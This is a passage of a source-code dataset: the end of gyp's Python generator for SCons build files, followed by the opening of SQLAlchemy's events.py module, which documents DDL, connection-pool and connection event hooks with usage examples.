number of CPUs on the system. Adapted form: http://codeliberates.blogspot.com/2008/05/detecting-cpuscores-in-python.html ''' # Linux, Unix and Mac OS X: if hasattr(os, 'sysconf'): if os.sysconf_names.has_key('SC_NPROCESSORS_ONLN'): # Linux and Unix or Mac OS X with python >= 2.5: return os.sysconf('SC_NPROCESSORS_ONLN') else: # Mac OS X with Python < 2.5: return int(os.popen2("sysctl -n hw.ncpu")[1].read()) # Windows: if os.environ.has_key('NUMBER_OF_PROCESSORS'): return max(int(os.environ.get('NUMBER_OF_PROCESSORS', '1')), 1) return 1 # Default # Support PROGRESS= to show progress in different ways. p = ARGUMENTS.get('PROGRESS') if p == 'spinner': Progress(['/\\r', '|\\r', '\\\\\\r', '-\\r'], interval=5, file=open('/dev/tty', 'w')) elif p == 'name': Progress('$TARGET\\r', overwrite=True, file=open('/dev/tty', 'w')) # Set the default -j value based on the number of processors. SetOption('num_jobs', GetProcessorCount() + 1) # Have SCons use its cached dependency information. SetOption('implicit_cache', 1) # Only re-calculate MD5 checksums if a timestamp has changed. Decider('MD5-timestamp') # Since we set the -j value by default, suppress SCons warnings about being # unable to support parallel build on versions of Python with no threading. default_warnings = ['no-no-parallel-support'] SetOption('warn', default_warnings + GetOption('warn')) AddOption('--mode', nargs=1, dest='conf_list', default=[], action='append', help='Configuration to build.') AddOption('--verbose', dest='verbose', default=False, action='store_true', help='Verbose command-line output.') # sconscript_file_map = %(sconscript_files)s class LoadTarget: ''' Class for deciding if a given target sconscript is to be included based on a list of included target names, optionally prefixed with '-' to exclude a target name. ''' def __init__(self, load): ''' Initialize a class with a list of names for possible loading. Arguments: load: list of elements in the LOAD= specification ''' self.included = set([c for c in load if not c.startswith('-')]) self.excluded = set([c[1:] for c in load if c.startswith('-')]) if not self.included: self.included = set(['all']) def __call__(self, target): ''' Returns True if the specified target's sconscript file should be loaded, based on the initialized included and excluded lists. ''' return (target in self.included or ('all' in self.included and not target in self.excluded)) if 'LOAD' in ARGUMENTS: load = ARGUMENTS['LOAD'].split(',') else: load = [] load_target = LoadTarget(load) sconscript_files = [] for target, sconscript in sconscript_file_map.iteritems(): if load_target(target): sconscript_files.append(sconscript) target_alias_list= [] conf_list = GetOption('conf_list') if conf_list: # In case the same --mode= value was specified multiple times. conf_list = list(set(conf_list)) else: conf_list = [%(default_configuration)r] sconsbuild_dir = Dir(%(sconsbuild_dir)s) def FilterOut(self, **kw): kw = SCons.Environment.copy_non_reserved_keywords(kw) for key, val in kw.items(): envval = self.get(key, None) if envval is None: # No existing variable in the environment, so nothing to delete. continue for vremove in val: # Use while not if, so we can handle duplicates. while vremove in envval: envval.remove(vremove) self[key] = envval # TODO(sgk): SCons.Environment.Append() has much more logic to deal # with various types of values. We should handle all those cases in here # too. (If variable is a dict, etc.) non_compilable_suffixes = { 'LINUX' : set([ '.bdic', '.css', '.dat', '.fragment', '.gperf', '.h', '.hh', '.hpp', '.html', '.hxx', '.idl', '.in', '.in0', '.in1', '.js', '.mk', '.rc', '.sigs', '', ]), 'WINDOWS' : set([ '.h', '.hh', '.hpp', '.dat', '.idl', '.in', '.in0', '.in1', ]), } def compilable(env, file): base, ext = os.path.splitext(str(file)) if ext in non_compilable_suffixes[env['TARGET_PLATFORM']]: return False return True def compilable_files(env, sources): return [x for x in sources if compilable(env, x)] def GypProgram(env, target, source, *args, **kw): source = compilable_files(env, source) result = env.Program(target, source, *args, **kw) if env.get('INCREMENTAL'): env.Precious(result) return result def GypTestProgram(env, target, source, *args, **kw): source = compilable_files(env, source) result = env.Program(target, source, *args, **kw) if env.get('INCREMENTAL'): env.Precious(*result) return result def GypLibrary(env, target, source, *args, **kw): source = compilable_files(env, source) result = env.Library(target, source, *args, **kw) return result def GypLoadableModule(env, target, source, *args, **kw): source = compilable_files(env, source) result = env.LoadableModule(target, source, *args, **kw) return result def GypStaticLibrary(env, target, source, *args, **kw): source = compilable_files(env, source) result = env.StaticLibrary(target, source, *args, **kw) return result def GypSharedLibrary(env, target, source, *args, **kw): source = compilable_files(env, source) result = env.SharedLibrary(target, source, *args, **kw) if env.get('INCREMENTAL'): env.Precious(result) return result def add_gyp_methods(env): env.AddMethod(GypProgram) env.AddMethod(GypTestProgram) env.AddMethod(GypLibrary) env.AddMethod(GypLoadableModule) env.AddMethod(GypStaticLibrary) env.AddMethod(GypSharedLibrary) env.AddMethod(FilterOut) env.AddMethod(compilable) base_env = Environment( tools = %(scons_tools)s, INTERMEDIATE_DIR='$OBJ_DIR/${COMPONENT_NAME}/_${TARGET_NAME}_intermediate', LIB_DIR='$TOP_BUILDDIR/lib', OBJ_DIR='$TOP_BUILDDIR/obj', SCONSBUILD_DIR=sconsbuild_dir.abspath, SHARED_INTERMEDIATE_DIR='$OBJ_DIR/_global_intermediate', SRC_DIR=Dir(%(src_dir)r), TARGET_PLATFORM='LINUX', TOP_BUILDDIR='$SCONSBUILD_DIR/$CONFIG_NAME', LIBPATH=['$LIB_DIR'], ) if not GetOption('verbose'): base_env.SetDefault( ARCOMSTR='Creating library $TARGET', ASCOMSTR='Assembling $TARGET', CCCOMSTR='Compiling $TARGET', CONCATSOURCECOMSTR='ConcatSource $TARGET', CXXCOMSTR='Compiling $TARGET', LDMODULECOMSTR='Building loadable module $TARGET', LINKCOMSTR='Linking $TARGET', MANIFESTCOMSTR='Updating manifest for $TARGET', MIDLCOMSTR='Compiling IDL $TARGET', PCHCOMSTR='Precompiling $TARGET', RANLIBCOMSTR='Indexing $TARGET', RCCOMSTR='Compiling resource $TARGET', SHCCCOMSTR='Compiling $TARGET', SHCXXCOMSTR='Compiling $TARGET', SHLINKCOMSTR='Linking $TARGET', SHMANIFESTCOMSTR='Updating manifest for $TARGET', ) add_gyp_methods(base_env) for conf in conf_list: env = base_env.Clone(CONFIG_NAME=conf) SConsignFile(env.File('$TOP_BUILDDIR/.sconsign').abspath) for sconscript in sconscript_files: target_alias = env.SConscript(sconscript, exports=['env']) if target_alias: target_alias_list.extend(target_alias) Default(Alias('all', target_alias_list)) help_fmt = ''' Usage: hammer [SCONS_OPTIONS] [VARIABLES] [TARGET] ... Local command-line build options: --mode=CONFIG Configuration to build: --mode=Debug [default] --mode=Release --verbose Print actual executed command lines. Supported command-line build variables: LOAD=[module,...] Comma-separated list of components to load in the dependency graph ('-' prefix excludes) PROGRESS=type Display a progress indicator: name: print each evaluated target name spinner: print a spinner every 5 targets The following TARGET names can also be used as LOAD= module names: %%s ''' if GetOption('help'): def columnar_text(items, width=78, indent=2, sep=2): result = [] colwidth = max(map(len, items)) + sep cols = (width - indent) / colwidth if cols < 1: cols = 1 rows = (len(items) + cols - 1) / cols indent = '%%*s' %% (indent, '') sep = indent for row in xrange(0, rows): result.append(sep) for i in xrange(row, len(items), rows): result.append('%%-*s' %% (colwidth, items[i])) sep = '\\n' + indent result.append('\\n') return ''.join(result) load_list = set(sconscript_file_map.keys()) target_aliases = set(map(str, target_alias_list)) common = load_list and target_aliases load_only = load_list - common target_only = target_aliases - common help_text = [help_fmt %% columnar_text(sorted(list(common)))] if target_only: fmt = "The following are additional TARGET names:\\n\\n%%s\\n" help_text.append(fmt %% columnar_text(sorted(list(target_only)))) if load_only: fmt = "The following are additional LOAD= module names:\\n\\n%%s\\n" help_text.append(fmt %% columnar_text(sorted(list(load_only)))) Help(''.join(help_text)) """ # TEMPLATE END ############################################################################# def GenerateSConscriptWrapper(build_file, build_file_data, name, output_filename, sconscript_files, default_configuration): """ Generates the "wrapper" SConscript file (analogous to the Visual Studio solution) that calls all the individual target SConscript files. """ output_dir = os.path.dirname(output_filename) src_dir = build_file_data['_DEPTH'] src_dir_rel = gyp.common.RelativePath(src_dir, output_dir) if not src_dir_rel: src_dir_rel = '.' scons_settings = build_file_data.get('scons_settings', {}) sconsbuild_dir = scons_settings.get('sconsbuild_dir', '#') scons_tools = scons_settings.get('tools', ['default']) sconscript_file_lines = ['dict('] for target in sorted(sconscript_files.keys()): sconscript = sconscript_files[target] sconscript_file_lines.append(' %s = %r,' % (target, sconscript)) sconscript_file_lines.append(')') fp = open(output_filename, 'w') fp.write(header) fp.write(_wrapper_template % { 'default_configuration' : default_configuration, 'name' : name, 'scons_tools' : repr(scons_tools), 'sconsbuild_dir' : repr(sconsbuild_dir), 'sconscript_files' : '\n'.join(sconscript_file_lines), 'src_dir' : src_dir_rel, }) fp.close() # Generate the SConstruct file that invokes the wrapper SConscript. dir, fname = os.path.split(output_filename) SConstruct = os.path.join(dir, 'SConstruct') fp = open(SConstruct, 'w') fp.write(header) fp.write('SConscript(%s)\n' % repr(fname)) fp.close() def TargetFilename(target, build_file=None, output_suffix=''): """Returns the .scons file name for the specified target. """ if build_file is None: build_file, target = gyp.common.ParseQualifiedTarget(target)[:2] output_file = os.path.join(os.path.dirname(build_file), target + output_suffix + '.scons') return output_file def GenerateOutput(target_list, target_dicts, data, params): """ Generates all the output files for the specified targets. """ options = params['options'] if options.generator_output: def output_path(filename): return filename.replace(params['cwd'], options.generator_output) else: def output_path(filename): return filename default_configuration = None for qualified_target in target_list: spec = target_dicts[qualified_target] if spec['toolset'] != 'target': raise Exception( 'Multiple toolsets not supported in scons build (target %s)' % qualified_target) scons_target = SCons.Target(spec) if scons_target.is_ignored: continue # TODO: assumes the default_configuration of the first target # non-Default target is the correct default for all targets. # Need a better model for handle variation between targets. if (not default_configuration and spec['default_configuration'] != 'Default'): default_configuration = spec['default_configuration'] build_file, target = gyp.common.ParseQualifiedTarget(qualified_target)[:2] output_file = TargetFilename(target, build_file, options.suffix) if options.generator_output: output_file = output_path(output_file) if not spec.has_key('libraries'): spec['libraries'] = [] # Add dependent static library targets to the 'libraries' value. deps = spec.get('dependencies', []) spec['scons_dependencies'] = [] for d in deps: td = target_dicts[d] target_name = td['target_name'] spec['scons_dependencies'].append("Alias('%s')" % target_name) if td['type'] in ('static_library', 'shared_library'): libname = td.get('product_name', target_name) spec['libraries'].append('lib' + libname) if td['type'] == 'loadable_module': prereqs = spec.get('scons_prerequisites', []) # TODO: parameterize with <(SHARED_LIBRARY_*) variables? td_target = SCons.Target(td) td_target.target_prefix = '${SHLIBPREFIX}' td_target.target_suffix = '${SHLIBSUFFIX}' GenerateSConscript(output_file, spec, build_file, data[build_file]) if not default_configuration: default_configuration = 'Default' for build_file in sorted(data.keys()): path, ext = os.path.splitext(build_file) if ext != '.gyp': continue output_dir, basename = os.path.split(path) output_filename = path + '_main' + options.suffix + '.scons' all_targets = gyp.common.AllTargets(target_list, target_dicts, build_file) sconscript_files = {} for t in all_targets: scons_target = SCons.Target(target_dicts[t]) if scons_target.is_ignored: continue bf, target = gyp.common.ParseQualifiedTarget(t)[:2] target_filename = TargetFilename(target, bf, options.suffix) tpath = gyp.common.RelativePath(target_filename, output_dir) sconscript_files[target] = tpath output_filename = output_path(output_filename) if sconscript_files: GenerateSConscriptWrapper(build_file, data[build_file], basename, output_filename, sconscript_files, default_configuration)
AlericInglewood/3p-google-breakpad
src/tools/gyp/pylib/gyp/generator/scons.py
Python
bsd-3-clause
34,839
# sqlalchemy/events.py # Copyright (C) 2005-2015 the SQLAlchemy authors and contributors # <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """Core event interfaces.""" from . import event, exc from .pool import Pool from .engine import Connectable, Engine, Dialect from .sql.base import SchemaEventTarget class DDLEvents(event.Events): """ Define event listeners for schema objects, that is, :class:`.SchemaItem` and other :class:`.SchemaEventTarget` subclasses, including :class:`.MetaData`, :class:`.Table`, :class:`.Column`. :class:`.MetaData` and :class:`.Table` support events specifically regarding when CREATE and DROP DDL is emitted to the database. Attachment events are also provided to customize behavior whenever a child schema element is associated with a parent, such as, when a :class:`.Column` is associated with its :class:`.Table`, when a :class:`.ForeignKeyConstraint` is associated with a :class:`.Table`, etc. Example using the ``after_create`` event:: from sqlalchemy import event from sqlalchemy import Table, Column, Metadata, Integer m = MetaData() some_table = Table('some_table', m, Column('data', Integer)) def after_create(target, connection, **kw): connection.execute("ALTER TABLE %s SET name=foo_%s" % (target.name, target.name)) event.listen(some_table, "after_create", after_create) DDL events integrate closely with the :class:`.DDL` class and the :class:`.DDLElement` hierarchy of DDL clause constructs, which are themselves appropriate as listener callables:: from sqlalchemy import DDL event.listen( some_table, "after_create", DDL("ALTER TABLE %(table)s SET name=foo_%(table)s") ) The methods here define the name of an event as well as the names of members that are passed to listener functions. See also: :ref:`event_toplevel` :class:`.DDLElement` :class:`.DDL` :ref:`schema_ddl_sequences` """ _target_class_doc = "SomeSchemaClassOrObject" _dispatch_target = SchemaEventTarget def before_create(self, target, connection, **kw): """Called before CREATE statements are emitted. :param target: the :class:`.MetaData` or :class:`.Table` object which is the target of the event. :param connection: the :class:`.Connection` where the CREATE statement or statements will be emitted. :param \**kw: additional keyword arguments relevant to the event. The contents of this dictionary may vary across releases, and include the list of tables being generated for a metadata-level event, the checkfirst flag, and other elements used by internal events. """ def after_create(self, target, connection, **kw): """Called after CREATE statements are emitted. :param target: the :class:`.MetaData` or :class:`.Table` object which is the target of the event. :param connection: the :class:`.Connection` where the CREATE statement or statements have been emitted. :param \**kw: additional keyword arguments relevant to the event. The contents of this dictionary may vary across releases, and include the list of tables being generated for a metadata-level event, the checkfirst flag, and other elements used by internal events. """ def before_drop(self, target, connection, **kw): """Called before DROP statements are emitted. :param target: the :class:`.MetaData` or :class:`.Table` object which is the target of the event. :param connection: the :class:`.Connection` where the DROP statement or statements will be emitted. :param \**kw: additional keyword arguments relevant to the event. The contents of this dictionary may vary across releases, and include the list of tables being generated for a metadata-level event, the checkfirst flag, and other elements used by internal events. """ def after_drop(self, target, connection, **kw): """Called after DROP statements are emitted. :param target: the :class:`.MetaData` or :class:`.Table` object which is the target of the event. :param connection: the :class:`.Connection` where the DROP statement or statements have been emitted. :param \**kw: additional keyword arguments relevant to the event. The contents of this dictionary may vary across releases, and include the list of tables being generated for a metadata-level event, the checkfirst flag, and other elements used by internal events. """ def before_parent_attach(self, target, parent): """Called before a :class:`.SchemaItem` is associated with a parent :class:`.SchemaItem`. :param target: the target object :param parent: the parent to which the target is being attached. :func:`.event.listen` also accepts a modifier for this event: :param propagate=False: When True, the listener function will be established for any copies made of the target object, i.e. those copies that are generated when :meth:`.Table.tometadata` is used. """ def after_parent_attach(self, target, parent): """Called after a :class:`.SchemaItem` is associated with a parent :class:`.SchemaItem`. :param target: the target object :param parent: the parent to which the target is being attached. :func:`.event.listen` also accepts a modifier for this event: :param propagate=False: When True, the listener function will be established for any copies made of the target object, i.e. those copies that are generated when :meth:`.Table.tometadata` is used. """ def column_reflect(self, inspector, table, column_info): """Called for each unit of 'column info' retrieved when a :class:`.Table` is being reflected. The dictionary of column information as returned by the dialect is passed, and can be modified. The dictionary is that returned in each element of the list returned by :meth:`.reflection.Inspector.get_columns`. The event is called before any action is taken against this dictionary, and the contents can be modified. The :class:`.Column` specific arguments ``info``, ``key``, and ``quote`` can also be added to the dictionary and will be passed to the constructor of :class:`.Column`. Note that this event is only meaningful if either associated with the :class:`.Table` class across the board, e.g.:: from sqlalchemy.schema import Table from sqlalchemy import event def listen_for_reflect(inspector, table, column_info): "receive a column_reflect event" # ... event.listen( Table, 'column_reflect', listen_for_reflect) ...or with a specific :class:`.Table` instance using the ``listeners`` argument:: def listen_for_reflect(inspector, table, column_info): "receive a column_reflect event" # ... t = Table( 'sometable', autoload=True, listeners=[ ('column_reflect', listen_for_reflect) ]) This because the reflection process initiated by ``autoload=True`` completes within the scope of the constructor for :class:`.Table`. """ class PoolEvents(event.Events): """Available events for :class:`.Pool`. The methods here define the name of an event as well as the names of members that are passed to listener functions. e.g.:: from sqlalchemy import event def my_on_checkout(dbapi_conn, connection_rec, connection_proxy): "handle an on checkout event" event.listen(Pool, 'checkout', my_on_checkout) In addition to accepting the :class:`.Pool` class and :class:`.Pool` instances, :class:`.PoolEvents` also accepts :class:`.Engine` objects and the :class:`.Engine` class as targets, which will be resolved to the ``.pool`` attribute of the given engine or the :class:`.Pool` class:: engine = create_engine("postgresql://scott:tiger@localhost/test") # will associate with engine.pool event.listen(engine, 'checkout', my_on_checkout) """ _target_class_doc = "SomeEngineOrPool" _dispatch_target = Pool @classmethod def _accept_with(cls, target): if isinstance(target, type): if issubclass(target, Engine): return Pool elif issubclass(target, Pool): return target elif isinstance(target, Engine): return target.pool else: return target def connect(self, dbapi_connection, connection_record): """Called at the moment a particular DBAPI connection is first created for a given :class:`.Pool`. This event allows one to capture the point directly after which the DBAPI module-level ``.connect()`` method has been used in order to produce a new DBAPI connection. :param dbapi_connection: a DBAPI connection. :param connection_record: the :class:`._ConnectionRecord` managing the DBAPI connection. """ def first_connect(self, dbapi_connection, connection_record): """Called exactly once for the first time a DBAPI connection is checked out from a particular :class:`.Pool`. The rationale for :meth:`.PoolEvents.first_connect` is to determine information about a particular series of database connections based on the settings used for all connections. Since a particular :class:`.Pool` refers to a single "creator" function (which in terms of a :class:`.Engine` refers to the URL and connection options used), it is typically valid to make observations about a single connection that can be safely assumed to be valid about all subsequent connections, such as the database version, the server and client encoding settings, collation settings, and many others. :param dbapi_connection: a DBAPI connection. :param connection_record: the :class:`._ConnectionRecord` managing the DBAPI connection. """ def checkout(self, dbapi_connection, connection_record, connection_proxy): """Called when a connection is retrieved from the Pool. :param dbapi_connection: a DBAPI connection. :param connection_record: the :class:`._ConnectionRecord` managing the DBAPI connection. :param connection_proxy: the :class:`._ConnectionFairy` object which will proxy the public interface of the DBAPI connection for the lifespan of the checkout. If you raise a :class:`~sqlalchemy.exc.DisconnectionError`, the current connection will be disposed and a fresh connection retrieved. Processing of all checkout listeners will abort and restart using the new connection. .. seealso:: :meth:`.ConnectionEvents.engine_connect` - a similar event which occurs upon creation of a new :class:`.Connection`. """ def checkin(self, dbapi_connection, connection_record): """Called when a connection returns to the pool. Note that the connection may be closed, and may be None if the connection has been invalidated. ``checkin`` will not be called for detached connections. (They do not return to the pool.) :param dbapi_connection: a DBAPI connection. :param connection_record: the :class:`._ConnectionRecord` managing the DBAPI connection. """ def reset(self, dbapi_connnection, connection_record): """Called before the "reset" action occurs for a pooled connection. This event represents when the ``rollback()`` method is called on the DBAPI connection before it is returned to the pool. The behavior of "reset" can be controlled, including disabled, using the ``reset_on_return`` pool argument. The :meth:`.PoolEvents.reset` event is usually followed by the :meth:`.PoolEvents.checkin` event is called, except in those cases where the connection is discarded immediately after reset. :param dbapi_connection: a DBAPI connection. :param connection_record: the :class:`._ConnectionRecord` managing the DBAPI connection. .. versionadded:: 0.8 .. seealso:: :meth:`.ConnectionEvents.rollback` :meth:`.ConnectionEvents.commit` """ def invalidate(self, dbapi_connection, connection_record, exception): """Called when a DBAPI connection is to be "invalidated". This event is called any time the :meth:`._ConnectionRecord.invalidate` method is invoked, either from API usage or via "auto-invalidation". The event occurs before a final attempt to call ``.close()`` on the connection occurs. :param dbapi_connection: a DBAPI connection. :param connection_record: the :class:`._ConnectionRecord` managing the DBAPI connection. :param exception: the exception object corresponding to the reason for this invalidation, if any. May be ``None``. .. versionadded:: 0.9.2 Added support for connection invalidation listening. .. seealso:: :ref:`pool_connection_invalidation` """ class ConnectionEvents(event.Events): """Available events for :class:`.Connectable`, which includes :class:`.Connection` and :class:`.Engine`. The methods here define the name of an event as well as the names of members that are passed to listener functions. An event listener can be associated with any :class:`.Connectable` class or instance, such as an :class:`.Engine`, e.g.:: from sqlalchemy import event, create_engine def before_cursor_execute(conn, cursor, statement, parameters, context, executemany): log.info("Received statement: %s" % statement) engine = create_engine('postgresql://scott:tiger@localhost/test') event.listen(engine, "before_cursor_execute", before_cursor_execute) or with a specific :class:`.Connection`:: with engine.begin() as conn: @event.listens_for(conn, 'before_cursor_execute') def before_cursor_execute(conn, cursor, statement, parameters, context, executemany): log.info("Received statement: %s" % statement) When the methods are called with a `statement` parameter, such as in :meth:`.after_cursor_execute`, :meth:`.before_cursor_execute` and :meth:`.dbapi_error`, the statement is the exact SQL string that was prepared for transmission to the DBAPI ``cursor`` in the connection's :class:`.Dialect`. The :meth:`.before_execute` and :meth:`.before_cursor_execute` events can also be established with the ``retval=True`` flag, which allows modification of the statement and parameters to be sent to the database. The :meth:`.before_cursor_execute` event is particularly useful here to add ad-hoc string transformations, such as comments, to all executions:: from sqlalchemy.engine import Engine from sqlalchemy import event @event.listens_for(Engine, "before_cursor_execute", retval=True) def comment_sql_calls(conn, cursor, statement, parameters, context, executemany): statement = statement + " -- some comment" return statement, parameters .. note:: :class:`.ConnectionEvents` can be established on any combination of :class:`.Engine`, :class:`.Connection`, as well as instances of each of those classes. Events across all four scopes will fire off for a given instance of :class:`.Connection`. However, for performance reasons, the :class:`.Connection` object determines at instantiation time whether or not its parent :class:`.Engine` has event listeners established. Event listeners added to the :class:`.Engine` class or to an instance of :class:`.Engine` *after* the instantiation of a dependent :class:`.Connection` instance will usually *not* be available on that :class:`.Connection` instance. The newly added listeners will instead take effect for :class:`.Connection` instances created subsequent to those event listeners being established on the parent :class:`.Engine` class or instance. :param retval=False: Applies to the :meth:`.before_execute` and :meth:`.before_cursor_execute` events only. When True, the user-defined event function must have a return value, which is a tuple of parameters that replace the given statement and parameters. See those methods for a description of specific return arguments. .. versionchanged:: 0.8 :class:`.ConnectionEvents` can now be associated with any :class:`.Connectable` including :class:`.Connection`, in addition to the existing support for :class:`.Engine`. """ _target_class_doc = "SomeEngine" _dispatch_target = Connectable @classmethod def _listen(cls, event_key, retval=False): target, identifier, fn = \ event_key.dispatch_target, event_key.identifier, \ event_key._listen_fn target._has_events = True if not retval: if identifier == 'before_execute': orig_fn = fn def wrap_before_execute(conn, clauseelement, multiparams, params): orig_fn(conn, clauseelement, multiparams, params) return clauseelement, multiparams, params fn = wrap_before_execute elif identifier == 'before_cursor_execute': orig_fn = fn def wrap_before_cursor_execute(conn, cursor, statement, parameters, context, executemany): orig_fn(conn, cursor, statement, parameters, context, executemany) return statement, parameters fn = wrap_before_cursor_execute elif retval and \ identifier not in ('before_execute', 'before_cursor_execute', 'handle_error'): raise exc.ArgumentError( "Only the 'before_execute', " "'before_cursor_execute' and 'handle_error' engine " "event listeners accept the 'retval=True' " "argument.") event_key.with_wrapper(fn).base_listen() def before_execute(self, conn, clauseelement, multiparams, params): """Intercept high level execute() events, receiving uncompiled SQL constructs and other objects prior to rendering into SQL. This event is good for debugging SQL compilation issues as well as early manipulation of the parameters being sent to the database, as the parameter lists will be in a consistent format here. This event can be optionally established with the ``retval=True`` flag. The ``clauseelement``, ``multiparams``, and ``params`` arguments should be returned as a three-tuple in this case:: @event.listens_for(Engine, "before_execute", retval=True) def before_execute(conn, conn, clauseelement, multiparams, params): # do something with clauseelement, multiparams, params return clauseelement, multiparams, params :param conn: :class:`.Connection` object :param clauseelement: SQL expression construct, :class:`.Compiled` instance, or string statement passed to :meth:`.Connection.execute`. :param multiparams: Multiple parameter sets, a list of dictionaries. :param params: Single parameter set, a single dictionary. See also: :meth:`.before_cursor_execute` """ def after_execute(self, conn, clauseelement, multiparams, params, result): """Intercept high level execute() events after execute. :param conn: :class:`.Connection` object :param clauseelement: SQL expression construct, :class:`.Compiled` instance, or string statement passed to :meth:`.Connection.execute`. :param multiparams: Multiple parameter sets, a list of dictionaries. :param params: Single parameter set, a single dictionary. :param result: :class:`.ResultProxy` generated by the execution. """ def before_cursor_execute(self, conn, cursor, statement, parameters, context, executemany): """Intercept low-level cursor execute() events before execution, receiving the string SQL statement and DBAPI-specific parameter list to be invoked against a cursor. This event is a good choice for logging as well as late modifications to the SQL string. It's less ideal for parameter modifications except for those which are specific to a target backend. This event can be optionally established with the ``retval=True`` flag. The ``statement`` and ``parameters`` arguments should be returned as a two-tuple in this case:: @event.listens_for(Engine, "before_cursor_execute", retval=True) def before_cursor_execute(conn, cursor, statement, parameters, context, executemany): # do something with statement, parameters return statement, parameters See the example at :class:`.ConnectionEvents`. :param conn: :class:`.Connection` object :param cursor: DBAPI cursor object :param statement: string SQL statement, as to be passed to the DBAPI :param parameters: Dictionary, tuple, or list of parameters being passed to the ``execute()`` or ``executemany()`` method of the DBAPI ``cursor``. In some cases may be ``None``. :param context: :class:`.ExecutionContext` object in use. May be ``None``. :param executemany: boolean, if ``True``, this is an ``executemany()`` call, if ``False``, this is an ``execute()`` call. See also: :meth:`.before_execute` :meth:`.after_cursor_execute` """ def after_cursor_execute(self, conn, cursor, statement, parameters, context, executemany): """Intercept low-level cursor execute() events after execution. :param conn: :class:`.Connection` object :param cursor: DBAPI cursor object. Will have results pending if the statement was a SELECT, but these should not be consumed as they will be needed by the :class:`.ResultProxy`. :param statement: string SQL statement, as passed to the DBAPI :param parameters: Dictionary, tuple, or list of parameters being passed to the ``execute()`` or ``executemany()`` method of the DBAPI ``cursor``. In some cases may be ``None``. :param context: :class:`.ExecutionContext` object in use. May be ``None``. :param executemany: boolean, if ``True``, this is an ``executemany()`` call, if ``False``, this is an ``execute()`` call. """ def dbapi_error(self, conn, cursor, statement, parameters, context, exception): """Intercept a raw DBAPI error. This event is called with the DBAPI exception instance received from the DBAPI itself, *before* SQLAlchemy wraps the exception with it's own exception wrappers, and before any other operations are performed on the DBAPI cursor; the existing transaction remains in effect as well as any state on the cursor. The use case here is to inject low-level exception handling into an :class:`.Engine`, typically for logging and debugging purposes. .. warning:: Code should **not** modify any state or throw any exceptions here as this will interfere with SQLAlchemy's cleanup and error handling routines. For exception modification, please refer to the new :meth:`.ConnectionEvents.handle_error` event. Subsequent to this hook, SQLAlchemy may attempt any number of operations on the connection/cursor, including closing the cursor, rolling back of the transaction in the case of connectionless execution, and disposing of the entire connection pool if a "disconnect" was detected. The exception is then wrapped in a SQLAlchemy DBAPI exception wrapper and re-thrown. :param conn: :class:`.Connection` object :param cursor: DBAPI cursor object :param statement: string SQL statement, as passed to the DBAPI :param parameters: Dictionary, tuple, or list of parameters being passed to the ``execute()`` or ``executemany()`` method of the DBAPI ``cursor``. In some cases may be ``None``. :param context: :class:`.ExecutionContext` object in use. May be ``None``. :param exception: The **unwrapped** exception emitted directly from the DBAPI. The class here is specific to the DBAPI module in use. .. deprecated:: 0.9.7 - replaced by :meth:`.ConnectionEvents.handle_error` """ def handle_error(self, exception_context): """Intercept all exceptions processed by the :class:`.Connection`. This includes all exceptions emitted by the DBAPI as well as within SQLAlchemy's statement invocation process, including encoding errors and other statement validation errors. Other areas in which the event is invoked include transaction begin and end, result row fetching, cursor creation. Note that :meth:`.handle_error` may support new kinds of exceptions and new calling scenarios at *any time*. Code which uses this event must expect new calling patterns to be present in minor releases. To support the wide variety of members that correspond to an exception, as well as to allow extensibility of the event without backwards incompatibility, the sole argument received is an instance of :class:`.ExceptionContext`. This object contains data members representing detail about the exception. Use cases supported by this hook include: * read-only, low-level exception handling for logging and debugging purposes * exception re-writing The hook is called while the cursor from the failed operation (if any) is still open and accessible. Special cleanup operations can be called on this cursor; SQLAlchemy will attempt to close this cursor subsequent to this hook being invoked. If the connection is in "autocommit" mode, the transaction also remains open within the scope of this hook; the rollback of the per-statement transaction also occurs after the hook is called. The user-defined event handler has two options for replacing the SQLAlchemy-constructed exception into one that is user defined. It can either raise this new exception directly, in which case all further event listeners are bypassed and the exception will be raised, after appropriate cleanup as taken place:: @event.listens_for(Engine, "handle_error") def handle_exception(context): if isinstance(context.original_exception, psycopg2.OperationalError) and \\ "failed" in str(context.original_exception): raise MySpecialException("failed operation") Alternatively, a "chained" style of event handling can be used, by configuring the handler with the ``retval=True`` modifier and returning the new exception instance from the function. In this case, event handling will continue onto the next handler. The "chained" exception is available using :attr:`.ExceptionContext.chained_exception`:: @event.listens_for(Engine, "handle_error", retval=True) def handle_exception(context): if context.chained_exception is not None and \\ "special" in context.chained_exception.message: return MySpecialException("failed", cause=context.chained_exception) Handlers that return ``None`` may remain within this chain; the last non-``None`` return value is the one that continues to be passed to the next handler. When a custom exception is raised or returned, SQLAlchemy raises this new exception as-is, it is not wrapped by any SQLAlchemy object. If the exception is not a subclass of :class:`sqlalchemy.exc.StatementError`, certain features may not be available; currently this includes the ORM's feature of adding a detail hint about "autoflush" to exceptions raised within the autoflush process. :param context: an :class:`.ExceptionContext` object. See this class for details on all available members. .. versionadded:: 0.9.7 Added the :meth:`.ConnectionEvents.handle_error` hook. """ def engine_connect(self, conn, branch): """Intercept the creation of a new :class:`.Connection`. This event is called typically as the direct result of calling the :meth:`.Engine.connect` method. It differs from the :meth:`.PoolEvents.connect` method, which refers to the actual connection to a database at the DBAPI level; a DBAPI connection may be pooled and reused for many operations. In contrast, this event refers only to the production of a higher level :class:`.Connection` wrapper around such a DBAPI connection. It also differs from the :meth:`.PoolEvents.checkout` event in that it is specific to the :class:`.Connection` object, not the DBAPI connection that :meth:`.PoolEvents.checkout` deals with, although this DBAPI connection is available here via the :attr:`.Connection.connection` attribute. But note there can in fact be multiple :meth:`.PoolEvents.checkout` events within the lifespan of a single :class:`.Connection` object, if that :class:`.Connection` is invalidated and re-established. There can also be multiple :class:`.Connection` objects generated for the same already-checked-out DBAPI connection, in the case that a "branch" of a :class:`.Connection` is produced. :param conn: :class:`.Connection` object. :param branch: if True, this is a "branch" of an existing :class:`.Connection`. A branch is generated within the course of a statement execution to invoke supplemental statements, most typically to pre-execute a SELECT of a default value for the purposes of an INSERT statement. .. versionadded:: 0.9.0 .. seealso:: :meth:`.PoolEvents.checkout` the lower-level pool checkout event for an individual DBAPI connection :meth:`.ConnectionEvents.set_connection_execution_options` - a copy of a :class:`.Connection` is also made when the :meth:`.Connection.execution_options` method is called. """ def set_connection_execution_options(self, conn, opts): """Intercept when the :meth:`.Connection.execution_options` method is called. This method is called after the new :class:`.Connection` has been produced, with the newly updated execution options collection, but before the :class:`.Dialect` has acted upon any of those new options. Note that this method is not called when a new :class:`.Connection` is produced which is inheriting 